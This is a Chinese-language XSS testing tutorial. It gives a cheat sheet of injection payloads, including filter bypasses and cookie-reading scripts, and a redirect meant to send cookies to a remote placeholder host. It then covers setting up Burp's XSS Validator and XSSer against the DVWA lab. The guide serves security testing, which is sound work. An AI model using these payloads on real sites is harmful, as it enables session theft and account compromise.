文章目錄
一、手工注入檢測
1.1 Cheat Sheet
整理的觸發XSS的測試用例清單列表
普通驗證payload
<script>alert(1)</script> 普通觸發
其它標籤payload
<img src="" onerror="alert(1)"> onerror事件觸發
<iframe src=javascript:alert(1)> iframe標籤
<svg><x><script>alert(1)</x> svg標籤
簡單變形payload
'><script>alert(1)</script>
='><script>alert(1)</script>
a.jsp/<script>alert(1)</script>
<mArQuEe OnScRoLl=alert(1)> 跑馬燈法
簡單繞過payload
<sc<script>ript>alert(1)</sc</script>ript> 雙寫繞過
<sCrit>alert(1)</sCript> 大小寫繞過
當前頁面打cookie
(alert中字符替換成cookie即可:)
<script>alert(document.cookie)</script>
遠程站點打Cookie
(使用跳轉方式,將Cookie發送到遠程搭建的站點:)
<script type="text/javascript">window.location.href="http://test/123";</script>
二、自動化工具檢測
2.1 BurpSuite之XSS Validator
Tips:如果喜歡使用Burp的可以使用此工具,如果想使用XSS測試神兵可以優選XSSer!
2.1.1 運行原理
本地啓動Phantom(XSS-Detector服務器),監聽端口
服務器通過extender模塊傳遞經過base64編碼的頁面響應到XSS Validator選項卡,並複製Grep短語值
在Intruder模塊grep-match函數中輸入此值
匹配grep短語的有效載荷表示成功執行
2.1.2 插件安裝
》》啓動Burp,打開->Extender ->BApp Store 最下方的XSS Validator插件,右側有說明
2.1.3 phantomjs安裝
官網下載安裝:http://phantomjs.org/download.html
》》安裝完成如下顯示成功
Tips:不要忘記配置環境變量
2.1.4 下載xss.js
xss.js是phantomJS檢測XSS的具體實現
Github下載地址
》》下載完解壓到桌面xss.js在如下位置:
2.1.5 配置XSS Validator
Grep Phrase修改爲xss_result作爲檢測標誌
JavaScript function中只使用alert便於在控制檯觀察結果
2.1.6 配置Intruder模塊
加上剛纔的響應結果值
2.1.7 XSS漏洞檢測
這裏使用DVWA靶場的反射xss進行測試:
》》輸入123點擊提交
》》burp抓取數據包,併發送到Intruder,選定要爆破的參數:
》》設置Intruder的payload生成器爲XSS Validator
》》添加有效載荷的處理
》》運行xss.js
》》開始測試
》》xss_result有對勾的便是存在漏洞的payload
》》任意選擇一個payload驗證漏洞是否存在(如下存在!)
2.1.8 工具優缺點
優點:
- 測試方便,burp黨福利~
- 工具實用,可以簡單的繞過一些限制(雙寫/大小寫等)
缺點
- 配置麻煩些,payload少些
2.2 神器之XSSer
2.2.1 工具介紹
一款開源、強大的XSS測試工具,自動化針對不同的應用程序檢測和利用XSS注入過程,可bypass某些過濾器和特殊的代碼注入技術。Kali中已集成
2.2.2 簡單使用
報錯解決
》》正常插入cookie對DVWA低級進行測試報如下錯誤:
》》在此目錄下運行
》》缺少BS模塊
》》安裝此模塊
》》仍舊失敗
更新